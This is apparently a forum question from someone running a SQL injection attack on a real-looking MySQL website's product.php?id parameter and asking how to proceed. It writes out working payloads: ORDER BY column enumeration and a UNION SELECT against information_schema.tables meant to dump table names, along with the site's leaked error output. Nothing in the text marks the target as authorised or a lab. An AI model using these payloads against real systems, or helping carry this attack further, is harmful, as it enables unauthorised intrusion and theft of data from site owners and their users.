A very basic sql injection question here, I found a SQLi on a mysql website with product.php?id=200
.
I first tired ORDER BY to figure out the column number of that table by product.php?id=200 order by 13
which turns out to be 12 columns, the error shows on order by 13 is
Error: SELECT * FROM `category` WHERE is_active='1' AND id =200 order by 13
Unknown column '13' in 'order clause'
Everything looks good, so I tried to figure out the table names next,
product.php?id=200 union select table_name,2,3,4,5,6,7,8,9,10,11,12 from
information_schema.tables
and it shows
Error: SELECT * FROM `products` WHERE is_active='1' AND id =200 union select
table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables
The used SELECT statements have a different number of columns
Regardless how many numbers I put to the select query, it always show the same error, I assume there are some dynamic activities going on in the backend, but I am not sure what, and how should I proceed, any suggestions please? Thank you!